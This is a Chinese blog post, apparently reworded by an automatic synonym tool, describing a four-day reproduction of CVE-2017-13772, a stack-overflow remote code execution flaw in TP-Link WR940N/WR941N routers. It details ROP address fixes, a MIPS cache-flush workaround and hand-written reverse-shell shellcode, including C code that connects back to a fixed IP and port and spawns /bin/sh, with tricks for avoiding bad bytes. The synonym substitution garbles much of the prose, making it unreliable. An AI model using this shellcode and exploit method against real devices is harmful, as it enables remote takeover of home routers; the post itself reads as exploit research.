首页 » 互联网 » TP-LINK WR941N路由器研究_指令_是在

TP-LINK WR941N路由器研究_指令_是在

南宫静远 2024-12-19 10:24:36 0

扫一扫用手机浏览

文章目录 [+]

之前看到了一个CVE, CVE-2017-13772

是TP-Link WR940N后台的RCE, 手头上恰好有一个TP-Link WR941N的设备,创造也存在相同的问题,但是CVE-2017-13772文章中给的EXP并不通用

TP-LINK WR941N路由器研究_指令_是在 互联网

以是准备进行复现和exp的修正,折腾了将近4天,记录下过程和碰着的坑

第一次研究mips指令的RCE,之前只学了intel指令集的pwn,以是进度挺慢的

Day 1

第一天当然是配环境了,该路由器本身在默认情形下是不供应shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有/tmp目录可写,路由看重启后,传上去的文件就没了,这些问题都可以通过刷固件办理,不过太麻烦了,只须要传上去一个gdbserver就好了,能根据固件中的bin得知这是一个大端mips指令集的设备,gdbserver也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

gdbserver.mipsbe通过tftp上传到路由器的/tmp目录下

然后根据cve-2017-13772剖析文章说的那样利用gdbserver attach httpd最新的一个进程,然后就可以进行远程gdb调试了

Day 2

第二天准备开始调试,但是创造gdb的两个编译选项, 一个--host,表示gdb运行的环境,一样平常默认便是本机环境,还有一个--target表示调试的目标环境,默认也是本机环境,以是一个64位ubuntu上默认的gdb只能调试64 elf程序。
以是须要设置--target=mipsbel-linux参数进行编译gdb,才能调试大真个mips程序。

编译差不多编译了半天,准备改天搞一个8核的机器专门来编译程序....

编译成功后,就可以进行远程调试了,在路由器上实行:

> /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 pid

然后利用编译好gdb进行调试:

$ gdb(gdb) target remote 192.168.1.1:12345

但是失落败了,又折腾了半天

Day 3

第三天才真正的开始调试程序,首先说说我第二天碰着的问题,问题是下了断点没用,缘故原由比较傻逼,我下断点的地址是wr940n的地址,我把两个bin搞混了

然后根据cve-2017-13772剖析文章中说的栈溢出的指令,在wr941n中也找到了该指令,而溢出情形也是一样,以是拿了wr940n的exp来打了一遍,结果当然是失落败了。

在wr940n的exp中,ROP是在libuClibc-0.9.30.so中找的,根据$ cat /proc/pid/maps命令,创造wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的,然后再比较libuClibc-0.9.30.so文件的hash值,创造不同,以是要修正ROP地址。

由于libc文件太大,用手找太累了,以是利用了那篇文章中的ida的mipsrop插件,这里又踩了一个坑,由于我用的是ida7.0,而这个插件只能在ida6.8(更低的没试过)版本利用。

修正了ROP后,再进行考试测验exp,创造仍旧失落败,然后进行调试查看缘故原由,跟踪ROP实行流,创造能成功跳转到栈上实行shellcode,但是shellcode和文章中的,文章中的shellcode开头有一个利用xor进行解密的过程,实行完之后的指令和文章中的不一样。
以是准备自己写一个shellcode

Day 4

第四天便是开始写shellcod,首先给个mips指令和bin互转的网站:Online Assembler and Disassembler

然后说说写的过程中碰着的问题,该路由器输入是不接管\x00\x20,以是ROP不是在ELF中探求而是去libc中探求:libuClibc基地址:0x2aae000httpd基地址:0x00400000

如果在ELF中探求ROP,则地址中总会有个\x00,以是ROP是在libc中探求不存在\x00\x20的地址。
但是在shellcode中,这两个字符却很难避免,以是那篇文章中对shellcode进行了xor加密

wr940n的exp利用的是一个bind shell的shellcode,而我改成了一个反弹shell的shellcode

然后便是末了碰着的一个大坑,利用gdb调试成功的一个反弹shell的shellcode,在实际测试中却失落败了,利用gdb成功,直接打失落败,由于这个问题折腾了挺长的韶光

然后查阅资料,在看雪的一篇文章中找到了缘故原由:https://www.kanxue.com/article-read-218.htm

mips 的 exp 编写中还有一个问题便是 cache incoherency。
MIPS CPUs 有两个独立的 cache:指令 cache 和数据 cache。
指令和数据分别在两个不同的缓存中。
当缓存满了,会触发 flush,将数据写回到主内存。
攻击者的攻击 payload 常日会被运用当做数据来处理,存储在数据缓存中。
当 payload 触发漏洞,挟制程序实行流程的时候,会去实行内存中的 shellcode。

如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。
这会导致程序实行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。

最大略可靠的让缓存数据写入内存的办法是调用一个堵塞函数。
比如 sleep(1) 或者其他类似的函数。
sleep 的过程中,处理器会切换高下文让给其他正在实行的程序,缓存会自动实行 flush。

这个坑点在那篇文章中也提及了,但是没详细解释,如果没实际踩一踩,不一定能理解。
但是讲道理,如果直接用wr940n的exp,修正下ROP地址和shellcode,该当是不会碰着这个坑的,但是我仍旧碰着了,经由研究创造,是usleep的问题,预测是由于堵塞的韶光过短以是未实行flush?然后进行实际测试了一番,把usleep的韶光修正为18217,同样没用,然后大略看了下两者的汇编,创造usleep只是大略的调用nanosleep,而sleep除了调用nanosleep还进行其他干系的操作,网上没搜到干系文章,由于精力有限,作为遗留问题,往后有韶光的时候再连续研究。

不过有几个预测,

韶光问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?由于找不到得当的ROP,以是暂时没法证明

flush内存是靠sleep中的几个旗子暗记干系的函数?

以是终极我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc2+1),但是我将usleep改成sleep => sleep(0xc2+1),数据缓存被成功flush到主内存中,就能成功实行shellcode了

Shellcode编写

在本次研究中,末了韶光的除了一开始的调试环境搭建外,便是shellcode的编写了,由于在那篇cve剖析的文章中已经给出了wr940n的exp,ROP只须要修正修正地址就好了,以是事情量最大的还是在Shellcode的编写这一部分

首先是syscall部分,比如:

li $v0, 4183syscall 0x40404# sys_socket

mips采取的是RISC,32位系统下,指令固定采取4byte,syscall的字节码是\x0c,剩余的三字节默认用\x00补全,但是由于路由器不接管\x00的输入,以是在大真个情形下改成\x01\x01\x01\x0c,进行反汇编,便是syscall 0x40404

系统调用的干系函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

比如sys_socket

#define __NR_Linux 4000#define __NR_socket (__NR_Linux + 183)

以是$v0=4183表示的便是socket函数,详细参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html

int sys_socket(int family, int type, int protocol)

现在,先用c来实现一遍反连shell的代码:

$ cat test.c#include<stdlib.h>#include <sys/socket.h>#include <netinet/in.h>#include <unistd.h>int main(void){int sockfd;sockfd = socket(2,2,0);struct sockaddr_in addr;addr.sin_family = 2;addr.sin_port = 0x3039;addr.sin_addr = 0xc0a80164;connect(sockfd, &addr, sizeof(addr))dup2(sockfd, 0);dup2(sockfd, 1);dup2(sockfd, 2);execve(\"大众//bin/sh\"大众, 0, 0);return 0;}

这里有个关键点,https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

和其他架构不一样,mips架构中,tcp是2,udp是1

以是上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中便是tcp反连

还有一点便是wr941n是大端,以是12345端口是0x3039而不是0x3930,ip地址同理

然后把上面代码转换成mips指令的汇编

但是有个问题,之前说了该路由器不吸收\x00\x20两个字符,而上面的汇编转换成字节码:

nor $a0,$t7,$zero => \公众\x01\xe0\x20\x27\公众

以是要把这句指令进行修正, 由于$a0$a1的值都为2,以是可以这样修正:

sw $a1,-1($sp) => \公众\xaf\xa5\xff\xff\"大众lw $a0,-1($sp) => \公众\x8f\xa4\xff\xff\"大众

把上面的汇编转成shellcode更换exp中的shellcode,实际测试,又创造一个问题,设备成功反连了掌握端,但是却不能实行命令,到路由器上用ps查看,创造sh已经变为僵尸进程

经研究,问题出在execve(\"大众/bin/sh\公众,0,0),如果我修正成execve(\"大众/bin/sh\公众, [\公众/bin/sh\"大众, 0], 0)则成功反弹shell,可以任意命令实行

参考链接

https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/

https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly

https://www.kanxue.com/article-read-218.htm

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

http://asm.sourceforge.net/syscall.html

https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

相关文章